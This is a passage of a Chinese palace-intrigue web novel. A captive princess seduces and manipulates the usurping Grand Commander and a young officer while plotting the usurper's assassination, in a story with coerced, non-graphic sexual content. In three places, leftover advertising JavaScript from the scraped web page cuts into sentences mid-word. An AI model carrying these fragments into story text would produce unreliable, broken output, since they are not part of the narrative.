她意识到,也许他极度怀疑甚至确定她设计元炳了,但他不在乎,因为元炳的确意图染指他的所有物,死了并不白死。 而同时,他太留恋她的容貌与身体,这么一件小事、一个无所谓的人,他愿意睁一只眼闭一只眼。 所以如果她多让他留恋一点,他也更愿意“纵容”她一些吧。 于是事后,她主动搂着他,如一条奄奄一息的小鱼伏在他身上,让他除了身体,心里也极为快慰。 她柔声道:“太尉……” “嗯?” “我想去虞山行宫,太尉有空陪我去么?” 高盛问:“去那里做什么?” “泡温泉呀,而且山上凉快,这天眼看着热了。”司妤说。 虞山行宫,又名沐兰宫,历代便是皇家园林,里面有山色湖光,有四季温泉,高盛想了起来,自己他妈这辈子还没泡过温泉。 大约,她也知道他疑心元炳是被她设计杀死,所以主动要与他去行宫作乐,用来讨好他。 他发现这位公主不只美貌,倒也不笨……当初要杀元炳,又是让侍卫搜寻,又是派绣衣使者,好好折腾了一番,现在仍不死心,算好元炳好色,算好他不能容忍。 倒挺有意思的。 他同意了,和司妤道:“好,待我忙过这阵,便与公主一同去虞山。” “不要,我先去,太尉再去。”司妤说。 高盛本想问“为什么”,但看她脸上的神色就明白了,她又是怕被人知道,所以要和他错开。 此时他是身心愉悦,没什么不可以,笑道:“好,臣遵公主之命。” 司妤又在太尉府小憩片刻,才收拾好回宫去。 入得宫中,如缨才敢放松下来,立刻在司妤面前跪下,悲声道:“多谢公主替小柔申冤!” 司妤神色淡然:“你起来吧,我杀元炳不是为你,是为小柔,也为我自己的尊严。” 如缨站起身来,关心地问:“奴婢之前去花园,看见太尉和那卢慈还有另一人在谈什么,会不会是和元炳之事有关?” “有没有关都无碍,元炳已死,高盛也不欲追究。”司妤说。 如缨由衷道:“还是公主厉害,我都不知道那是元炳,公主一出手就让他死了。” 司妤脸上没有喜色,只是讽刺地一阵轻哼:“这算什么厉害,宫女受辱而死,堂堂公主,还要出卖色相才能将凶徒正法。” 如缨垂下头去不再说话。 司妤倒没有继续失落,随即吩咐她:“去和各处管事说,我要去虞山行宫,身边想带几个行事稳重的宫女,让他们从各处调些人来供我挑选,挑中有赏。” 如缨十分奇怪,只是去行宫,为什么要从别处调人呢?漪兰殿的人不够吗?还是信不过? 但公主面色沉静,不似要说的样子,她便听令下去吩咐了。 司妤在后面道:“尽快,后日就动身。” 如缨再次怔住,道:“是。”赶紧就往外去了。 15.第 15 章 短短一天,司妤就选好了十余名宫女,临行前,司妤趁皇上给太后请安时,也去了太后的长乐宫。 皇上据说肠胃有些不适,在喝调理之药。 司妤关照弟弟,喝过了药,就还是去未央宫上课,若没力气写字,便听先生授课,总之只要坐得起来,便不要荒废学业。 太后欲言又止,最后终究是怜惜地看看皇上,什么也没说。 司妤又看向太后:“母后,既然皇上总是身子不适,不如趁机与尚书台说,再请几位武将师父来,教皇上一些拳脚,用以强身健体,也许跟着师父练一练,就不会体弱多病了。” 太后道:“武将粗俗,就皇上的身子骨,真能受得住?” 司妤回答:“昔年薛纲医士还在时,曾与儿说过,过劳伤身,过于养尊处优也伤身,习些武艺,肯定有好处的。” 更重要的她没说,一是先学拳脚,再学骑射,若皇上有一身武艺,在当今乱世定不会有差错;二是以习武为由请忠于皇室的武将入宫,不是更能加深与外臣的联系么? 太后显然没想这么多,但听她如此建议,也就应允了,告诉她后面会照做。 随后皇上问她:“姐姐,其实我也想去虞山,我还没去过呢!” 司妤摇头:“皇上留在宫中温书,现在哪是游山玩水的时候?” “那姐姐怎么能去?”皇上不服。 司妤不好说太多,只道:“我是女子,又不是皇上,皇上哪能和我比?” 皇上低下头,叹了声气。 司妤又让太后看着些昌乐,怕她做什么不妥的事,皇上在边上讲:“姐姐这么放不下宫里,为何又要去呢?” 司妤不好再说,只好道:“是太尉建议的。” 皇上再没了话。 司妤最后交待几句,随后才离宫。 卢慈受高盛之命,亲自护送司妤前往虞山。 虞山在京郊,队伍这么走过去,几乎要一天。司妤静静坐在马车内,无心看外面的风景。 午后随地休息,片刻后再出发,行不到半个时辰,至古定河旁,队伍又停下了。 此去路远,时间并不是太充裕,见马车长时间停下,司妤掀开车帘问外面:“怎么了?” 外面如缨道:“不知道,是卢将军让停下的,奴婢去看看。”说着离去,没一会儿过来,脸上气得通红,朝司妤道:“公主,这卢慈……” “卢将军如何?” 一旁如织道:“卢将军拿了个坛子去河边,里面装着元炳的骨灰,说元炳的哥哥元刚便死在古定河边,他要把元炳的骨灰撒在河里,让他们团聚。” 如缨气极:“现在他们还在那边祭祀呢,他分明就是故意的,故意膈应我们!” “古定河……”司妤沉吟一句,从马车上下来,看一看远处的卢慈,往前走过去。 她走到卢慈面前时,卢慈正撒完骨灰,随后拍拍手,朝司妤道:“公主见谅,都是战场上的兄弟,臣实在不忍心。” 司妤看着他:“那元炳意欲行刺,太尉亲自行刑,卢将军此话,是同情乱臣贼子,觉得本宫与太尉冤杀了忠臣?” 卢慈实在没想到简单一句话,竟被她说成这样,憋了半天,只能回答:“不,臣没这个意思。” “是吗?”司妤冷声:“但将军此举,却是这个意思。本宫之前还在想,为何元炳小小一个护卫,却敢行刺,是否是受人指使呢?但在太尉府上,未免影响太尉声誉,便没牵连太多,可今日看将军举动,却叫本宫不得不多想。” “臣绝没有!”卢慈被逼得哑口无言,面红耳赤却说不出一句话,最后只能认怂,无奈解释:“臣是看在他哥哥元刚面子上,元刚便是五年前死于突厥人手中,那可是为救公主,当年我们厮杀三天三夜,连刀都砍豁口了,元刚他两天未合眼,一只胳膊被砍了还继续杀敌,最后为救臣而死,公主,就当看在元刚的面子上……” 司妤久久未言,好半天才问:“你们便是当时在刑山与突厥力战的队伍?也有太尉?” “自然,当时太尉任扬威将军,正是太尉带我们阻击突厥。” 司妤久久怔住,最后问:“我记得你们,那时我能安然回京,全靠你们,我也还记得太尉,那个时候我见过一个着将军盔甲的人,使一杆红缨枪,大概那就是当年的太尉吧。” 她只是说出一个匪夷所思的猜想,想听卢慈怎么说,而卢慈没有反驳,只回道:“那枪是高丰替大哥弄来的,后来高丰也死在刑山,尸体也没找着,大哥觉得愧疚,把枪埋了,当了高丰的衣冠冢。” “高丰是?” “大哥的弟弟,亲弟弟,当年才十六岁呢。”卢慈说着,看着司妤,目光中不由露出一丝不甘,愤怒与鄙夷,似乎在说:“我们,洒的是血,丢的是命,而公主、王公贵族,却享着锦衣玉食。” 司妤怎么也没想到,她曾惦记过无数回的那个少年将军,竟是高盛。 何以短短五年,忠魂却成恶魔? 莫非一个人在战场上能英勇杀敌,在朝堂上也会冷血杀朝臣? 这两年,死在他手上的人可并不少,且他对她,并没有半点为人臣子的敬重,只有玩弄与践踏。 司妤看一眼面前的滚滚流动的河水,和卢慈道:“刑山在京城东边,这水自东向西流,元炳的骨灰离他哥哥越来越远了。”说完,转身向马车。 卢慈在身后向她行礼,回头看看面前的河流,再看看自己手上的罐子,脑子有点懵。 这话说的,好像有点道理,他当时怎么没想到呢? 回到马车上没一会儿,队伍再次前行。 司妤攥着自己的手,又松开,再攥住,再分开。 她承认,自己被触动了,被干扰了,甚至想杀高盛的心也开始动摇。 所以他并非一开始就有反心吗,最开始,他也是忠心为国的? 是亲人、弟弟,都死了,才让他对朝廷心生怨恨? 还是,当时他在那个位置,有了控制京城的机遇,所以他就毅然握住了权力? 也许大部分人的在当时那样的情况下都会膨胀起无限的权力欲,进而想登 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上帝位? 她不明白,只是很久她都不能接受,记忆里那个少年,和现在那个奸贼竟是同一人。 傍晚到虞山,卢慈在虞山停留一夜,第二日一早便带军回京了,又过几日,高盛到虞山。 高盛到时,司虞正在行宫的寝殿内画画。 他走近,发现她画的竟是一个人,是…… 他在旁边站了好一会儿司妤才发现他,惊道:“太尉什么时候来的?” 高盛仍看着她笔下的画:“公主画的是?” “不是太尉吗?”司妤一边说着,一边蘸取红色的颜料,在笔下将军身上点上血迹,随后看向他:“来虞山路上,我听卢慈提起五年前太尉曾带军在刑山战突厥,我才知当年救我的人竟是太尉,我看到的那个少年将军,也是太尉,所以才依着记忆画下这画。 “但当时我没看清太尉的容貌,都是按现在太尉的容貌来画的,画着画着,突然发觉太尉竟也是个剑眉星目的美男子。” 高盛看看她,又看看她笔下那幅画,最后不屑地一笑,“那时四处劳碌奔波,却尽是受人驱使,为他人做嫁衣,公主这么会画,怎么不画点让人高兴的?”说完,将那碗鲜红的朱砂颜料缓缓往下浇在了画上,血似的红将画上的少年将军淹没,整幅画都毁了。 司妤的确是故意画这幅画,故意让他看到,想试图唤起他的忠诚之心。如果那样,她便认了,不再试图杀他,就算以后就这么陪着他、当他身边有如宠妾一般的人物也行。 可明显,他不这么想。 她看着面前画,久久不言,宫女立刻来清理,将画扔进盆中,桌子擦净。 她无奈放下笔,喃喃道:“我不知太尉见了这画会不高兴。” “没有人愿意看见自己最落魄最可笑的时候,公主与其画这个,还不是画现在的我。当然——”他看着她笑道:“见公主这么擅作画,我倒想让公主替自己画一幅,我好挂在卧房中。” 他说着凑近她耳边:“画那种不穿衣服的。” 司妤彻底心死,她妄想着劝他,但结果呢?他能与她说的,就只有这些。 因为在他眼中,她只是个美好的躯体,与他身上的衣、手上的刀,没什么区别,就是个供他使用的工具。 “我只会画别人,不会画自己。”她声音低沉,暗暗抗拒着他。 隔了一下,她深吸一口气,决定再努力一次,于是转过身将他轻轻抱住,伏在他怀中将话题拉回来:“不知太尉为什么会这么想,对我来说,不管是以前那个舍身救我的小将军,还是现在的太尉,我都喜欢。” 高盛搂住她:“几日不见,公主说话这么好听。”说完一把将她抱起。 宫女都离去关上寝殿门,他将她放到梳妆镜前。 司妤意外问他:“你这又是做什么?” 他一边咬着她耳垂,一边道:“想好了,你就画个春|宫,女人是你,男人是我,这回好好看看,记住了再画。” 司妤想:行,她努力过了,既然他毫无悔意,那他们俩就……不死不休吧。 16.第 16 章 傍晚,高盛随司妤同到温泉浴池。 这方浴池,为大兴第五任皇帝顺帝所建,那时大兴立国八十余年,国强民富,顺帝也是个励精图治的皇帝,到了晚年便重修沐兰宫,也在那时新修了这足有三间房大的浴池。 高盛在这里极尽放纵,整夜没让她出浴池。 最后他也累了,躺在浴池旁的榻上睡去。 司妤依偎在他身旁,听着他呼吸渐渐均匀,似乎已睡沉,摩挲着他光裸的胸口,感受到了那肌肤下强劲的心跳。 才二十七的年纪,身强体健,如果没有意外,他能活很久……除非此时有什么,能插|入他心房。 但她身上没有利器,连头上的发簪都不在。 榻上的枕头被褥,似乎也不行,以她的力气,当然按不死他。 她一边抚着他胸口,一边看向浴池边上,看了半天,看到浴池边上的烛台。 那是一只鱼燕铜灯,上面是燃灯之处,下面是鸟的细长脖子,再下面是鸟肚、灯座。那灯座繁复,整个灯为铜制成,看上去不轻。 她缓缓从高盛身旁起身,披上一件衣服,走到烛台前将那烛台试着拿了拿,真的挺重。 脑中想着,如果将这烛台拿过去,趁他睡着,直接砸在他头上。若能一击致命的话,那所有其他的计划都不必要了,外面虽有他亲兵,但他向来自信,那些亲兵都离得远,她有大把的时间安排后续,反正他将她关在房里厮混两天也不意外。 正想着,身后传来一道声音:“在做什么?” 司妤心中一惊,回头平静道:“好像不亮了,我看看。” “天快亮了,要那么亮做什么?” 司妤这才发现自己忽视了,这话里有漏洞,随后很快道:“那我把它灭了吧。” 说着正要熄灯,高盛回:“不必,要不然……公主跳只舞看看?” “我不会跳舞。”她答。 “随意跳跳不行么?” 司妤还想回绝,想了想,答应下来:“那跳得不好,太尉不能取笑。” 高盛由衷称赞:“公主站在那里不动就好看,再跳得不好,又能好笑到哪里去?” 司妤便往榻边走,过来拿衣服,高盛却将她拦住:“就这样跳。” 司妤身上就一件轻薄纱衣,再没有别的了,这样跳实在是…… 他拈起她下巴笑:“怕什么,你身上哪里是我没见过的?” 司妤强忍不适,羞涩地扭开头去,然后缓缓走到榻前,笨手笨脚开始跳舞。 高盛还真的笑了。 他自从军为将领,也见了很多乐舞,来京城后见得更多,本来他对这些不那么感兴趣,但现在看了司妤的舞,他还真觉得以前那些舞女跳得实在不错。 司妤跳舞,堪称同手同脚,这要是他的兵这么练拳,是绝对会被发配成伙头军的。 高盛一笑,司妤便不跳了,撇着嘴回到了榻边。 “不跳了,我累了,想睡。” 高盛也不折腾她了,将她搂住:“那睡吧,睡醒了我们玩点别的。” “哼……” 等到下午,高盛醒来,才将司妤拉至怀中,外面却有太监的尖嗓子道:“公主——” 司妤还没太清醒,略有不悦道:“何事?” “京中来人在外求见,说是太尉府上少史,有要事禀报。” 太尉府上的人,自然是求见高盛,而非她,司妤心中猜测是不是京中有了急事,一边又装作不在意,翻身睡了过去。 高盛大概也如此猜测,很快就披上衣服出去了。 好一会儿他都没回来。 司妤见他一直没回,也不再睡了,起身叫人进来。 问太监:“太尉呢?” 赵良进来回:“禀公主,太尉已离去了,回了京中,似乎是真有急事。” 司妤到底被高盛气了一道。 说来就来,说走就走,真当她是阿猫阿狗。 她坐在榻上气闷一会儿,很快意识到气恼无用,这正好证明他虽好色,却也不是个沉迷女色的人,女色只是他的调剂品,在正事面前,什么都要让路。 “找机会去悄悄打听一番,京中发生了什么事。”她吩咐。 “是。” “另外,派人去御史台,秘诏绣衣使者扮作太监上虞山来,别被人知晓。” “是。”赵良要退下,司妤又道,去叫之前从宫中选出的几名宫女进来,我编了一支舞,要她们与我同练。 “编舞?”赵良很意外,没听说公主会舞啊? 司妤似乎知道他心中所想,回道:“我舞技太差,被人耻笑了,趁着这几日在这里清闲,好好练练。” 赵良便下去一一办了。 很快便有十来名宫女进浴池,后来留下六名,出来了四名,随后司妤便待在浴池内不出去了,说练舞竟不是一时兴起,还真没日没夜练起来。 一连数天,皮肤都被泡皱,身旁宫女实在看不下去,轮着规劝,司妤才从浴池出来,到园子里转一转。转到最高峰处的山坡,她站在坡上,远远能看到前方山谷中如蚁群一样黑压压的一片,一会儿聚一会儿散的。 司妤问身后太监:“那是什么?” 太监也不知,唤来个禁卫,禁卫回道:“回公主的话,那儿正是连花岭,宋之洵宋都尉在那儿练兵。” “原来如此。”司妤回答,又看了眼,似乎没太多兴趣,转身离开去赏花,兴致冲冲摘了几枝海棠花回去了。 司妤回去正插着花,有太监进来与如缨说了些什么,如缨微微吃惊,随后点头,司妤在这边一边插着花,一边问她:“怎么了?” 如缨上前道:“适才有人在后边清幽林那里撞见野猪,还是两头,他们来告知公主,没事别靠近那边。” 司妤问:“怎么不将那野猪捉了呢?” 如缨回答:“说是挺凶猛的,而且听说野猪皮厚着呢,箭都射不穿。” 司妤摆弄着瓶里的海棠,不知在想着什么,隔一会儿才道:“但我还想去那边看兰花呢,明天过去,青天白日的应该没事吧。” “公主……”如缨觉得不妥,但她知道公主向来是行事稳重的人,不会不知轻重,而且自从先帝驾崩、京城生乱,公主就很久没赏什么花了,如今为了看个兰花,竟要冒着撞见野猪的风险去,实在是匪夷所思。 一般来说,公主如果表现得很奇怪,那一定是她有别的想法。 半天她道:“公主若是一定要去的话,身边多带些人。” 司妤没说话。 到第二天,她果真就去清幽林附近赏兰花了,那边树木多,清凉,树底下种了许多春兰,眼下正好开花。 司妤在兰花边待了好一会儿,玩得正开心,旁边如绵突然道:“你们听,什么声音?” 宫人们还都在听,司妤却已惊慌道:“在那里,是野猪!”说着急忙往外走。 宫人们虽没看见野猪,但都知道这儿有野猪出没,一听这话,惧是惊慌失色,纷纷躲避不及,如缨连忙护着司妤往后,一边朝远处喊道:“快来人,保护公主——” 远处护 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卫立刻拔刀过来,将林子围住,目不转睛盯着密林内。 司妤到远处看着这边,但一群人守了好久,再没见野猪的身影。 司妤似乎气恼这野猪,朝禁卫吩咐:“你们入内去猎杀野猪,今日内务必将野猪给我扫清!” 禁卫脸上十分为难,但公主兴致全无,已冷着脸离开了。 很显然,直到傍晚禁卫也没交出野猪来,因为山上禁卫本就不多,不可能全进去猎杀野猪,只能进一半,而虞山行宫建在山上,后面就是密密的山林,何其大,又如何好找到野猪巢穴? 但公主不管这些,行宫之中,岂能容野猪威慑,最后禁卫与太监们想办法,倒还真想出一个办法来:宋都尉在莲花岭练兵,而莲花岭便是虞山山脉中的一支,离行宫不远,可以去求助于宋都尉,领兵前来猎杀野猪。 此计可谓皆大欢喜,公主也同意了,于是太监下山去请宋之洵,果然到第二日,宋之洵就带着三百轻甲兵士来了。 三百士兵,加数十禁卫军,一起入清幽林后面的山林,用时大半日,果然就寻到野猪巢穴,将野猪拖家带口的杀了一共九头。 猎杀完,宋之洵到宫中见公主。 司妤正在作画,宋之洵到来给她请安,她道:“宋卿过来看看这幅画。” 宋之洵上前,发现她画的是一副练兵图,中间那位骑马执枪的白衣将领,正是自己。 “那日在虞山之上,居高远眺,正好看见宋卿在下面练兵,卿英武过人,兵士齐整威猛,有感而发,所以回来作了这幅画。”司妤说。 宋之洵忍不住惊叹,评论道:“凡作画,人最难,次山水,次狗马,而公主这画,精描就有六七人,其中又有四人极为传神,公主只是远眺,却能将人画得如此生动精妙,实在画工了得,颇有顾恺之之风骨。” 司妤笑了:“我知道宋卿擅山水,便不要抬举我了,我只是闲来无事,随手一画。” 宋之洵道:“如今臣任武职,书画早就荒废了。今日入林中,共猎得九头野猪,再未见别的巢穴,公主应当能安心了。” “有劳宋卿,我便知道宋卿过来,就再没什么好担心的。”司妤说着,却发现他胳膊上布料破了一块,走近一看,竟还有血迹。 她吃惊:“你受伤了?” 宋之洵回:“只是被树枝所伤,不碍事。” 司妤亲自去自己梳妆台旁拿了药粉和布条过来,要他站着别动,自己小心卷起他衣袖,替他洒上药粉。 “这是止血的药,太医局的。”她一边说着,一边拿了手帕替他蘸去旁边的血液,轻轻朝他胳膊上吹了吹,无比心疼道:“是我,让卿受伤了。” 此时已是夜幕时分,宫中燃着烛光,司妤如仙娥般的容颜在这烛光中如此明媚,她朝他吹一口气,让他心都要融化,她这般满含着泪光疼惜地看着自己,教他再也无法自持。 他一把抱住她。 司妤将他推开:“还没包扎。”说着,拿了纱布条,替他小心包好。 宋之洵喃喃道:“公主……” “宋卿先回去,后日午时,在行宫西侧的柳潭旁,我等着宋卿。”司妤道。 宋之洵此时才想起来,行宫中定有高盛的眼线,会将这行宫内大小事一一禀报高盛,他怎可在这儿待太久! “是,臣连夜回莲花岭。” “天黑路险,你务必小心!”司妤立刻交待。 宋之洵朝她拱手,带着万千依恋离开。 司即看着他离去的身影,又看看一旁的画,脸色慢慢凝重而坚定。 17.第 17 章 两日后午时,司妤避开旁人,悄悄到行宫西侧的柳潭旁。 柳潭旁大树蔽日,潭水清幽,平常不会有人来,从别处也难发现,十分隐蔽。 她到时,宋之洵已经在那里了。 宋之洵穿着普通公子的衣服,司妤也穿着一身素色常服,头上只戴了只白玉簪,一时间两人见面,犹如抛开了身份,他不是臣,她不是公主,而只是一对情意相通的男女。 身旁无人,宋之洵思念两日,一把将她抱住。 这次她没推开他,而是伏在他怀中,哀戚又柔情道:“宋郎……” 这声“宋郎”,让宋之洵再次将她紧紧拥住。 “公主……” “别叫我公主,宋郎若愿意,可叫我阿妤。”司妤看着他道。 宋之洵痛声道:“阿妤……此情此景,犹如在梦中。” 司妤湿了眼眶:“对我而言,何尝不是?想当年我不过十二三岁,听闻父皇欲招宋郎为驸马,又听闻宋郎文韬武略、芝兰玉树,我便在心里想,传言有那样真么,该不会是什么沽名钓誉之辈。 “后来中秋宫宴,说宋郎会来,我便躲在假山后看宋郎,这才知宋郎比传言更才貌出众,让人一见难忘,我还以为从此能与君相知,恩爱不相疑……” 宋之洵替她擦着眼泪,柔声道:“我亦倾慕阿妤,阿妤在中秋宫宴才见我,我却是在阿妤随先帝祭天时就见过阿妤,京人常道公主为仙娥下凡,我也想,大概是因公主身份而得的吹捧,谁知远远一见,便知阿妤比我梦里的仙娥还美。 “且阿妤能诗会画,温婉娴淑,我想,得妻如此,夫复何求?” 最后他颓丧道:“却不知当日的美梦只是上苍给我开的一个玩笑。” 两人再次相拥。 许久之后,司妤看着他哭道:“宋郎……就这样了么?就改不了了么?我不要宋郎娶那王氏女,我也不要困在高盛那贼子身旁、遭他凌辱,宋郎英武过人,就不能杀了那贼子,救我出这苦海么?” 宋之洵吃了一惊,随后颓然道:“我何尝不想,天下人谁不想?可高盛他武功盖世,身旁又有卢慈、陈滔、柴建绪数名大将,凭我之力,如何能杀他!” “那若是趁其不备,将其刺杀呢?”司妤道。 宋之洵意外地看着她,大概没想到她有这样的胆量和心思,随即摇摇头:“那怎么也要他身旁信任之人,至少我不是,我见他尚不能持刀,更别提靠近他。” 司妤望着他,悲痛垂泪。 “公主,是臣无能……”宋之洵道。 司妤摇摇头,“满朝公卿都无能为力,宋郎年轻势弱,纵有凌云之志,又如何以弱胜强?”她看着眼前的潭水,擦了擦泪,走到潭边道:“我已是残花败柳之身,躲在这虞山之中,尚能远离高盛,还能见宋郎,我也别无所求。” 宋之再次将她纤细的身子抱住。 两人在水潭边说了许久的话,直至望风的宫女来催促,司妤才与宋之洵恋恋不舍分离。 宋之洵今日的态度司妤并不意外,实在是高盛威名在外,惧怕他才是人之本性。 回到行宫,赵良便来报,与司妤道:“公主,派去打听消息的人回来了。” 司妤问:“高盛回去,是为何事?” 赵良将一张纸从怀中拿出来,呈给她。 司妤打开,看上面的字,惊道:“是檄文?” “正是,国舅爷、安朝烈、及青州黄承训,欲联军攻讨高盛,如今已在冀州会盟。”赵良说。 司妤看着檄文,撰者文笔不错,将高盛从出身到种种劣迹骂了个遍,几乎人神共愤。 赵良接着道:“还有一事,高盛接到檄文,将徐家三百六十口,全下了大狱,又派人把守长乐宫,不再许太后见任何人。” “什么?”司妤忙问:“那母后可还好?” 赵良连忙安慰:“公主放心,太后只是被软禁,那高盛应当没那么大胆子敢伤太后。” 司妤思忖片刻,点点头,“你先下去吧。” 赵良走后,她又拿着檄文看看,在房中来回踱几步,最后走到书案边,将檄文在盆里烧掉。 联军欲攻高盛,高盛眼下应该是忙于应敌之策,不会管她这边,她正好能筹备自己的。 于是她又叫来了如绵:“吩咐下去,要练舞了,叫她们去浴池集合。” …… 在虞山待了大约十多日,高盛派人来行宫,让她回去。 她扯了些头疼脑热的毛病,说要在山上再休养几日,并不回去。 这话也并非完全是假话,赵良在外打听到消息,三路联军以安朝烈为主帅,逼近京师,高盛派将迎敌,在京城东边的沙河口大败联军,联军势气大挫,听闻还起了内讧。 联军首战受挫,司妤自然不开心,起内讧的消息也不知是真是假,让她心烦意乱。 但又过两天,高盛自己来了。 高盛一来,第一件事便是上榻,一番云雨后,他才自床上起身,一边穿着衣服,一边和她道:“让你回,为什么不回?我见你除了床上虚弱的老毛病,别的都挺好。” 司妤在床上拉了被子将自己盖住,懒懒回答:“宫里有什么好,尽是望不到顶的宫墙,规矩又多,这里好,有山水,有温泉,还自在。” “公主去过西昌吗?西昌比这里好。” 司妤心中警醒,嘴上却道:“没去过,西昌怎么了?” “我已决意迁都西昌,公主自然要同行。” 司妤再也躺不住了,从床上坐起身:“为何要迁都?” “西昌本为龙兴之地,且坐拥四大险要关隘,如今乱世,守住西昌便守住了国门。” 司妤沉默不语。 她能想到最大的理由,便是西昌易守难攻,高盛占据西昌,的确守住了他的势力;而且西昌毗邻凉州,凉州是高盛的老家,也是他势力声望所在,不似京城,反对者众多,他去了西昌,必定是如鱼得水。 至于皇室与诸位公卿大臣,在西昌毫无根基,去了无异于板上鱼肉,任人宰割。 到那时,皇帝便是彻底的傀儡了,就算成年,也只是个成年的傀儡。 她装作不喜而抱怨道:“说得这么冠冕堂皇,我看太尉是大军压境,被吓住了,想逃去西昌吧。” 高盛笑:“那三人,不过是乌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 合之众,我怕什么。 “你那个舅舅,有心无胆,本事没有,却自以为了不起,安朝烈嘛,比你舅舅好一点,但他可不是个能容人的主,有他在,你舅舅就必须居下;至于黄承训,是个狠人,打仗还行,可惜他祖上比我好不到哪儿去,是打铁的,以你舅舅和安朝烈的性子,才不会将他放在眼里,你说他们能成什么事?” 司妤很气闷,但又不得不承认,至少他说舅舅是有那么一点道理的,舅舅那时离开,她心底其实非常非常失望。明明他有功爵,有兵权,还能与外朝联系,可他就那样走了。 “怎么,你该不会觉得失望吧?”高盛到她面前问。 司妤已经适应了他偶尔的质问,此时也并不慌张,一脸担忧道:“若他们打来京城,会另立平州王为帝么?” 毕竟弟弟是高盛扶立的。 “杀了平州王不就成了?”高盛道。 司妤被噎了一下,尽管她知道留着平州王的确会有祸患,但那毕竟也是自己的弟弟…… “太尉,他只是个孩子。”她劝道。 也不知刚才高盛话里是真是假,他此时看着她笑了笑,不在意道:“总之,过几日我让人上山来接公主,到那时公主便不能再拖延了。” 高盛说完就走了,他过来还真是做那事。 司妤坐在床头,意识到计划赶不上变化,自己的时间不多了。 如果被他带到西昌,那可能就再无翻身机会,此时联军压境,却在京城关隘被阻,首战已失利,自是士气大伤,如果这时候高盛死了呢? 西凉军里,卢慈、陈滔、柴建绪这些人虽都是猛将,但他们威信相当,谁也不会服谁,高盛一死,他们便群龙无首,甚至极有可能内讧,那联军攻入京城,赶走西凉军,便是指日可待! 所以,她不能再等了,一定要在高盛迁都前行动。 三日后,京城连绵大雨,京兆尹外出巡视,见村民聚集,便上前查问,才知村民在京郊碧罗湖边发现一具枯骨。 当今乱世,路有饿殍也并不稀奇,京兆尹本没放在心在,但听说这枯骨因胸膛被利器砍伤而亡,肩头还有一只箭镞,似乎是突厥人所用之箭,加上身上的残存盔甲,这显然是个军士,而且他脖子上挂一只狼牙项链,上面刻了个字:高。 京兆尹身旁的属官是高盛提拔的人,看这尸体,便想到了太尉,于是建议京兆尹上报,京兆尹照做,并将枯骨打捞上来一节一节拼好送到京兆衙门内存放,后来太尉竟亲自来看尸首,据说看见尸体太尉什么也没说,但抚着枯骨在旁边站了很久。 后来才知,那是太尉的亲弟弟高丰,枯骨的年龄、伤势、箭镞,以及脖子上那只刻字的狼牙项链,都能证明他的身份。 高丰于五年前战死于苍岩山,没找到尸体,却不知为什么尸体在这里出现。唯一的可能是高丰死后掉入苍岩山旁边的古定河里,而古定河水流湍急,尸体就沿河而下,被冲到了这里,最后留在古定河的支流碧罗湖中。 与此同时,司妤与宋之洵再次在柳潭旁约见。 司妤抱着宋之洵哀恸不已,泪如雨下,和他道:“宋郎,高盛他要将我带离此地了!” 18.第 18 章 宋之洵忙问:“为何?他要带公主去哪里?” 司妤惶惑道:“他要迁都至西昌,是他亲口所说!” “迁都至西昌……”宋之洵吃了一惊,随即沉吟道:“定是为了避联军之锋芒,且西昌毗邻凉州,那是高盛的地盘,若是到了那里,那高盛便成了土皇帝,真正的‘挟天子以令诸侯’!” 司妤便知道宋之洵能了解高盛此举的危险,立刻道:“那要怎么办?舅舅离京时曾说会招募有志之士一同讨伐高盛,如今果然攻来城外,我本指望舅舅能大败高盛,将我与母后、皇上解救……” “联军首战失利,高盛手下强将如云,联军也不知何时才能攻进城中。若高盛迁都,西昌占据四处关隘,易守难攻,联军怕也奈何不了他。”宋之洵忧心道。 司妤哭泣,宋之洵替她拭着泪水,也不知如何是好。 司妤哭了一会儿,随即看着他道:“宋郎,贼子限我即刻回京,我不知被他带至西昌后是否还能与宋郎见面,也不知今生魂归何处,自父皇驾崩,我便落入贼手,万事皆由不得自己,如今我只想在离京之前,与宋郎做一日夫妻,了我此生遗憾。”说完,紧紧将他抱住。 这是她思虑之后作出的决定。 宋之洵马上将成为高盛的侄女婿,他一定有机会杀高盛,他既然没这个胆量,下不了这个决心,那就让她来给他这决心。 如果他们有了肌肤之亲,一来,宋之洵的不甘会更加高涨;二来,他会恐慌,因为他染指了高盛的女人。 一旦高盛知道他们有染,她会不会有事不知道,但宋之洵一定会有事,高盛绝不会放过他。 可他此时能拒绝她吗? 他不能。 在宋之洵惊愕而又贪恋的眼睛中,司妤离开他怀抱,解下自己的衣带。 …… 王小桃至莲花岭军营,宋之洵却不在。兵士告知,宋之洵去了虞山勘测地形。 王小桃也知道旁边是虞山,且水绿山青,风景秀丽,叔叔还问过她,想不想去山上行宫,那里风景好,还有温泉,那是一种不用烧就温热的水,还能强身健体,但她知道那是皇家园林,她可不敢去,便一口拒绝了。 此时远望虞山,只见蓝的天,白的云,绿的山,层峦叠嶂,隐隐露着一角行宫的琉璃碧瓦,十分好看。 她心中雀跃,便道:“大概往哪个方向去了?我去找他。” 兵士道:“可山路难走,我们也不知校尉去了哪里,县君……” “没关系,我爬惯了山,体力好着呢!”王小桃说着已朝虞山而去。 她生在凉州,族人都是农户,猎户,还有屠户,她随母亲下过地,随父亲上过山,有一回人手不够,还帮表叔家抬过猪,就去这风景这么好的山上溜达一圈,并不算什么事。 虞山很大,王小桃也不知道宋之洵去的是哪个方向,但山路就那么几条,她就沿着山路瞎逛,后来就看到了疑似宋之洵的脚印。 前几日一直下雨,这两天虽然停了,但地还没全干,她见到地上有两排脚印,似是两个大男人的,宋之洵身边也只带了一个亲随,便能知道这多半是宋之洵上山的路。 她就沿着脚印走。 走了一个多时辰,远远就见到一人站在某一处林中路口,身穿红色圆领宽袖袍,腰间携着佩刀,一看就是军中人,她便知道自己找到人了,立刻跑上前去。 这人她见过,是从小跟在宋之洵身旁的,以前充当书僮,现在为亲卫军,名为吴庚,她十分欣喜,并没注意到吴庚脸上的惊愕与紧张,问他:“吴庚,你家公子呢?” 吴庚都有些结巴起来:“县,县君怎么来了?” 王小桃道:“我有个大好的消息要告诉公子,来莲花岭,却没见到公子的人,听说你们上山了,我正好闲着无事,就来了,怎么就见到你,你家公子呢?” “他……往别处去了,我也在这儿等着。”吴庚道。 